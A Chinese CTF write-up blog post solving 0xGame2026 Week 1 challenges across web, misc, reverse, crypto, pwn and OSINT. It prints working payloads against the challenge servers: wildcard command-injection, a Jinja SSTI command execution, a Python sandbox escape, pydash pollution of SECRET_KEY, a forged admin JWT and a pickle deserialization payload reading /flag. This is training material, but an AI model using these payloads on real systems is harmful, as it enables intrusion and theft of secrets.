0xGame2026 Week1

本文最后更新于 2026年10月21日 上午

前言

0xGame的题目质量很高,考点基础但考法新颖,师傅们写的wp也非常详细。

Web

ez_64

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
chdir(__DIR__);

if (isset($_GET['c'])) {
    $c = $_GET['c'];
    if (preg_match("#^[/?. fla64]*$#", $c)) {
        system($c);
    } else {
        die("no no no!");
    }
} else {
    highlight_file(__FILE__);
}

只允许字符:/、?、.、空格、f、l、a、6、4

这里64提示我们用base64这里命令去读文件,尝试通配符

1
?c=/???/???/?a??64 fla?.???

Snipaste_2026-09-28_17-00-26

奶蛙的博客

页面有提示,按照id把信息拼起来就是base64后的gzip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import re
import requests
from time import sleep

BASE_URL = "http://8000-23418dc6-172c-49df-822d-1bb4b8372150.challenge.ctfplus.cn/page"
PATTERN = re.compile(r'<span class="flag-fragment">(.*?)</span>', re.DOTALL)

result = []

for i in range(1, 125):
url = f"{BASE_URL}?id={i}"
try:
resp = requests.get(url, timeout=10)
resp.raise_for_status()
match = PATTERN.search(resp.text)
if match:
fragment = match.group(1)
result.append(fragment)
print(f"[{i}] 提取到: {fragment}")
else:
print(f"[{i}] 未匹配到 flag-fragment")
except Exception as e:
print(f"[{i}] 请求失败: {e}")
sleep(0.2) # 避免请求过快

flag = "".join(result)
print("\n拼接结果:")
print(flag)

有加号被html转义了,手工改回来

image-20260928223426030

错位的签名

弱口令登录 guest/guest123

一个页面给出了RS256的公钥,一个页面给出了漏洞提示,最后一个页面需要admin查看flag

这时候需要jwt伪造,经查询发现是CVE-2026-39999,一个存在于 Apache APISIX 中的 JWT 算法混淆

该漏洞的问题在于 APISIX 的 jwt-auth 插件盲目信任了 JWT Header 中声明的 alg 字段。当攻击者将 Header 中的 alg 篡改为对称加密算法(如 HS256) 时,服务端会错误地切换验证逻辑,直接使用配置的公钥(本应公开)作为 HMAC 的密钥 来验签

image-20260928223710242

渲染如呼吸一样简单

无过滤的SSTI

1
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

ATP代码实验

查看页面源代码抓包粘贴提交失败,可能在复制粘贴中会有字符错位,无奈只好写脚本

1
2
3
4
5
6
7
8
9
10
11
12
import html
import re
import sys
import requests

BASE = "http://5000-89f60d26-977d-462d-9071-6bd0828b0203.challenge.ctfplus.cn"

page = requests.get(BASE).text
code = html.unescape(re.search(r'<pre id="ref-code">(.*?)</pre>', page, re.S).group(1))

flag = requests.post(BASE + "/submit", json={"code": code}).json()["flag"]
print(flag)

漏风的沙箱

源码很长,我们重点看AST沙箱这部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
class ASTFilter(ast.NodeVisitor):# 继承 NodeVisitor,重写 visit_XXX 方法,对特定节点做检查
def visit_Import(self, node):# 重写处理import的语句,一旦有 import 就拒绝
for alias in node.names:
raise FilterError()
self.generic_visit(node)

def visit_ImportFrom(self, node):# 处理 from xxx import yyy 语句
raise FilterError()

def visit_Attribute(self, node):# 处理属性访问,如 obj.attr
if node.attr in DANGEROUS_ATTRIBUTES:# 如果访问的是危险魔术属性,拒绝
raise FilterError()
if node.attr in BANNED_METHODS:# 如果访问的是禁止的方法名,拒绝
raise FilterError()
if node.attr in BANNED_FUNCTIONS:# 如果访问的是禁止的函数名(作为属性),拒绝
raise FilterError()
self.generic_visit(node)

def visit_Call(self, node):# 处理函数调用,如 f(...)
func = node.func
if isinstance(func, ast.Name) and func.id in BANNED_FUNCTIONS:#禁用在黑名单的函数
raise FilterError()
self.generic_visit(node)

def visit_Subscript(self, node):# 处理下标访问,如 obj[key]
if isinstance(node.slice, ast.Constant) and isinstance(node.slice.value, str):
key = node.slice.value
if key in DANGEROUS_ATTRIBUTES or key in BANNED_METHODS \
or key in BANNED_FUNCTIONS or key in BANNED_MODULES:#禁用了一些模块、函数、魔术方法
raise FilterError()
self.generic_visit(node)


def _sandbox_builtins():
b = dict(builtins.__dict__) #受限的沙箱,一些危险方法仍在!
b.pop('breakpoint', None)
b.pop('input', None)
return b


SANDBOX_BUILTINS = _sandbox_builtins()


def run_sandbox(code):
code = unicodedata.normalize('NFKC', code) #NFKC归一化,防止Unicode绕过

for pattern in COMPILED_PATTERNS: #正则过滤
if pattern.search(code):
return {'status': 'blocked', 'output': ''}

try:
tree = ast.parse(code) #解析源码为AST
except SyntaxError:
return {'status': 'blocked', 'output': ''}

visitor = ASTFilter() #创建AST过滤器
try:
visitor.visit(tree)
except FilterError:
return {'status': 'blocked', 'output': ''}

sandbox = {'__builtins__': dict(SANDBOX_BUILTINS)}
buf = io.StringIO()
result = {}

def _exec():
try:
with redirect_stdout(buf):
exec(code, sandbox)
result['output'] = buf.getvalue()
except SystemExit:
result['error'] = 'SystemExit'
except BaseException:
result['error'] = traceback.format_exc()

worker = threading.Thread(target=_exec, daemon=True)
worker.start()
worker.join(SANDBOX_TIMEOUT)
if worker.is_alive():
return {'status': 'timeout', 'output': ''}

if 'error' in result:
return {'status': 'error',
'output': (buf.getvalue() + '\n' + result['error'])[:MAX_OUTPUT_LEN]}

output = result.get('output', '')
if len(output) > MAX_OUTPUT_LEN:
output = output[:MAX_OUTPUT_LEN]
return {'status': 'ok', 'output': output}

也就是说一共三层WAF,第一层是正则过滤并且做了NFKC归一化处理不能用Unicode绕过;第二层是AST沙箱,对一些函数名方法名进行了检查,不能出现在黑名单中;第三层就是受限的沙箱,但是open、eval等危险方法仍然存在。

1
2
o = open
print(*o('/app/flag.txt'))
  • o = open 里的 open 是一个 ast.Name,不是 ast.Call,所以 visit_Call 不检查它;visit_Attribute 也管不到(它不是属性访问)。
  • o('/app/flag.txt') 是一个 ast.Call,但 func 是 ast.Name,id == 'o',不在 BANNED_FUNCTIONS 里 → 放行。

pollute the key

只有管理员才能下单,结合题目名称和提示能猜出来需要污染SECRET_KEY,注册一个账号发现有修改信息的功能,需要输入修改的属性和值,在源码中找到

1
2
3
4
try:
pydash.set_(me, key, value)
except Exception as e:
return jsonify({"ok": False, "msg": "字段路径非法: %s" % e}), 400

pydash原型链污染,在key中过滤了builtins,我们直接把key设为__class__.__init__.__globals__.SECRET_KEY即可

jwt伪造admin用户

image-20261001201936889

用这个token访问,可以进行购买了

image-20261001202040863

应该是pickle反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import pickle
import base64

payload=b'cbuiltins\nexec\np0\n0g0\n(S\'raise Exception(open("/flag").read())\'\ntR.'
encoded = base64.b64encode(payload).decode()
print(encoded)

burp0_url = "http://5000-3cce0a18-ca3e-4e4c-959b-bcbc01498776.challenge.ctfplus.cn:80/api/order/buy"
burp0_cookies = {"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzkwODUzOTY4LCJleHAiOjE3OTA4NjExNjh9.TiLwotg8vTQQsRcStiL19Vl8FcuW43ZPqt27QL-SxWQ"}
burp0_data = {"cart": encoded}

response =requests.post(burp0_url, cookies=burp0_cookies, data=burp0_data)
print(f"Response: {response.text}")

直接用os.system执行命令没有回显,这里我用了异常抛出或者把结果重定向到静态目录也行

Misc

欢迎来到CTF的世界!

image-20260930215957244

ez_traffic

查看http流量发现下载了一个secret.zip文件

image-20261002200904320

追踪TCP流,显示原始数据然后另存为secret.zip,里面一个txt内容是base64解密即可

Strange_lsb

单通道全是噪音没有信息,题目名称叫strange,就怪在信息在三个通道 LSB 的异或平面上:

1
X = (R & 1) ^ (G & 1) ^ (B & 1)   # 逐像素异或最低位

脚本解出一个二维码,扫码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from PIL import Image

SRC = "challenge.png"
OUT = "flag.png"

img = Image.open(SRC).convert("RGB")
w, h = img.size

out = Image.new("L", (w, h))
pix = out.load()
src = img.load()

for y in range(h):
for x in range(w):
r, g, b = src[x, y]
xbit = (r & 1) ^ (g & 1) ^ (b & 1)
pix[x, y] = 255 if xbit else 0

out.save(OUT)
print("saved:", OUT, "size:", out.size)

image-20261002224316369

小伊卡…不胖…不胖…

根据题目描述应该是宽高隐写,随波逐流一把梭

image-20261004093927065

Interesting_ppt

Office办公套件的本质是一个压缩包,在core.xml和custom.xml分别找到一串base64

其中一个解密后是一个key,一个解密后是乱码,推测进行异或运算

image-20261004110615500

Treasure_island

线索看不懂,直接爆搜

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
for i in $(seq -w 0 999); do
f="treasure_island/chest/box_${i}.txt"
if [ -f "$f" ] && ! head -n 1 "$f" | grep -q "^Empty"; then
echo "===== $f ====="
cat "$f"
echo
fi
done

done
===== treasure_island/chest/box_691.txt =====
🏆 You found the real treasure chest!

The chest is empty. The gold was moved to /tmp/flag —
but a keeper's heartbeat seals it.

Somewhere on this island a heart keeps beating,
re-locking /tmp/flag with every beat.
Silence the heart, and erase its mark,
or it will never let the gold go.

(ps: the watcher below shows no mercy to half-done work.)

直接打开/tmp/flag提示权限不够,根据线索应该是要杀一个进程

1
ps auxww

找到/opt/.whisper/heartbeat.sh,看看内容

1
2
3
4
5
6
7
#!/bin/bash
# The Keeper's heartbeat. While this heart beats, the watcher keeps
# /tmp/flag sealed. Silence the heartbeat AND erase this script,
# and the watcher will set the flag free.
while true; do
sleep 2
done

果然,直接杀掉就能读了

1
2
kill -9 24
rm -f /opt/.whisper/heartbeat.sh

Reverse

signin

直接用ida打开就能看见

Snipaste_2026-09-28_16-28-48

upx

先查壳

image-20261003233151035

使用kali自带的upx工具脱壳

1
upx -d attachment1.exe

用ida打开看一下比较函数逻辑

image-20261003234545070

看一下运算的函数

image-20261003234748510

发现进行了异或运算,直接还原

image-20261003234816487

欸?云朵

运行程序发现flag一闪而过,其实截图够快的话可以截到

image-20261004000228976

正解应该是动态调试,本意是在DestroyWindow处下一个断点让窗口不会销毁,但是好像不行,那就只能在flag解密的地方下断点,然后在寄存器里面找flag了

Snipaste_2026-10-04_00-39-47

Crypto

天使大人

用sagemath跑出来的结果是e834598ba8cf6695cc9299364fe4fa63b05a1b55f847ab5aecb6d5dc251e2b77

image-20261001212050078

Pwn

奇妙杂货铺

nc连接上之后购买商品,然后数量写负的余额就会增加

image-20261002150630868

!?数学基础?!

写脚本计算即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import re

io = remote('nc1.ctfplus.cn', 46257)

for i in range(100):
data = io.recvuntil(b'Input your answer:').decode()
print(data)

m = re.search(r'calculate:\s*(\d+)\s*(\S+)\s*(\d+)\s*=', data)
if not m:
print("解析失败")
break

a = int(m.group(1))
op = m.group(2)
b = int(m.group(3))

if op in ('+', '+'):
ans = a + b
elif op in ('-', '-', '一', '—', '–'):
ans = a - b
elif op in ('×', '*', '*', 'x', 'X'):
ans = a * b
elif op in ('÷', '/', '/'):
ans = a // b
else:
raise ValueError(f"未知运算符: {op!r}")

io.sendline(str(ans).encode())

io.interactive()

Osint

Spring的旅程-1

1.考虑到Spring师傅是南邮的所以 江苏南京

2.去bing搜索Spring NCTF就能找到那篇博客

3.4.图片的EXIF信息中有

5.还是千问搜图能力强

image-20261001230611443

6.在博客的评论区里

AI

ez_pytorch

1
2
import torch
torch.load('model.pth', weights_only=False)

0xGame2026 Week1
https://www.sunynov.top/2026/09/28/0xGame2026/
作者
suny
发布于
2026年9月28日
许可协议